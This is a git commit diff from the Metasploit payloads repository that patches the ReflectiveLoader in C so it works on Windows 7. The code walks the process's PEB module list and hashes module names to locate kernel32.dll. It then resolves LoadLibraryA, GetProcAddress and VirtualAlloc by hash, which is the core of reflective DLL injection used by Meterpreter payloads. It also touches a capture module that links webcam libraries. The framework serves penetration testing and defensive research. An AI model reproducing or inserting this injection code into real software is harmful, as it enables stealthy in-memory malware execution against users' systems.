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https://github.com/rapid7/metasploit-payloads
synced 2024-11-20 14:39:22 +01:00
Merge Stephen Fewer's patches to enable support for Windows 7 (fixes support for NT and 2000 as well)
git-svn-id: file:///home/svn/framework3/trunk@6744 4d416f70-5f16-0410-b530-b9f4589650da
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@ -40,7 +40,7 @@ DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID )
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LOADLIBRARYA pLoadLibraryA;
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GETPROCADDRESS pGetProcAddress;
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VIRTUALALLOC pVirtualAlloc;
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BYTE bCounter = 3;
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BYTE bCounter;
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// the initial location of this image in memory
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DWORD dwLibraryAddress;
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@ -89,10 +89,35 @@ DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID )
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// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
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dwBaseAddress = (DWORD)((_PPEB)dwBaseAddress)->pLdr;
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dwBaseAddress = DEREF_32( ((PPEB_LDR_DATA)dwBaseAddress)->InInitializationOrderModuleList.Flink );
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// get this kernels base address
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dwBaseAddress = DEREF_32( dwBaseAddress + 8 );
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// get the first entry of the InMemoryOrder module list
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dwValueA = (DWORD)((PPEB_LDR_DATA)dwBaseAddress)->InMemoryOrderModuleList.Flink;
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while( dwValueA )
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{
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// get pointer to current modules name (unicode string)
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dwValueB = (DWORD)((PLDR_MODULE_MEMORY_ORDER)dwValueA)->BaseDllName.pBuffer;
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// set bCounter to the length for the loop
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bCounter = (BYTE)((PLDR_MODULE_MEMORY_ORDER)dwValueA)->BaseDllName.Length;
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// clear dwValueC which will store the hash of the module name
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dwValueC = 0;
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// compute the hash of the module name...
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do
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{
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__asm ror dwValueC, HASH_KEY
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// normalize to uppercase if the madule name is in lowercase
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if( *((BYTE *)dwValueB) >= 'a' )
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dwValueC += *((BYTE *)dwValueB) - 0x20;
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else
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dwValueC += *((BYTE *)dwValueB);
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dwValueB++;
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} while( --bCounter );
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// get this modules base address
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dwBaseAddress = (DWORD)((PLDR_MODULE_MEMORY_ORDER)dwValueA)->BaseAddress;
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// compare the hash with that of kernel32.dll
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if( dwValueC == KERNEL32DLL_HASH )
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break;
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// get the next entry
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dwValueA = DEREF_32( dwValueA );
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}
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// get the VA of the modules NT Header
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dwExportDir = dwBaseAddress + ((PIMAGE_DOS_HEADER)dwBaseAddress)->e_lfanew;
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@ -109,6 +134,8 @@ DLLEXPORT DWORD WINAPI ReflectiveLoader( VOID )
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// get the VA for the array of name ordinals
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dwNameOrdinals = ( dwBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )dwExportDir)->AddressOfNameOrdinals );
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bCounter = 3;
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// loop while we still have imports to find
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while( bCounter > 0 )
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{
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@ -362,4 +389,4 @@ BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
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}
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return bReturnValue;
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}
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//===============================================================================================//
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//===============================================================================================//
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@ -43,7 +43,7 @@ typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
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typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
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typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
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#define KERNEL32DLL_HASH 0x6A4ABC5B
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#define LOADLIBRARYA_HASH 0xEC0E4E8E
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#define GETPROCADDRESS_HASH 0x7C0DFCAA
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#define VIRTUALALLOC_HASH 0x91AFCA54
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@ -90,6 +90,29 @@ __forceinline VOID __memcpy( DWORD dwDest, DWORD dwSource, DWORD dwLength )
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}
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//===============================================================================================//
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typedef struct _UNICODE_STR
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{
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USHORT Length;
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USHORT MaximumLength;
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PWSTR pBuffer;
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} UNICODE_STR, *PUNICODE_STR;
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typedef struct _LDR_MODULE_MEMORY_ORDER
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{
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LIST_ENTRY InMemoryOrderModuleList;
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LIST_ENTRY InInitializationOrderModuleList;
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PVOID BaseAddress;
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PVOID EntryPoint;
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ULONG SizeOfImage;
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UNICODE_STR FullDllName;
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UNICODE_STR BaseDllName;
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ULONG Flags;
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SHORT LoadCount;
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SHORT TlsIndex;
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LIST_ENTRY HashTableEntry;
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ULONG TimeDateStamp;
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} LDR_MODULE_MEMORY_ORDER, *PLDR_MODULE_MEMORY_ORDER;
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// WinDbg> dt -v ntdll!_PEB_LDR_DATA
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typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
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{
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@ -10,6 +10,7 @@
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#pragma comment(lib, "vfw32.lib")
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#pragma comment(lib, "winmm.lib")
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#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0)
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